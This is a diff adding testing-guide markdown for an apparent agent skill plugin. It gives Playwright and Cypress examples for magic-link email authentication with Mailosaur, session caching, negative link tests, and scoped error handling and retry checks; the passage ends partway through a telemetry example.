+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
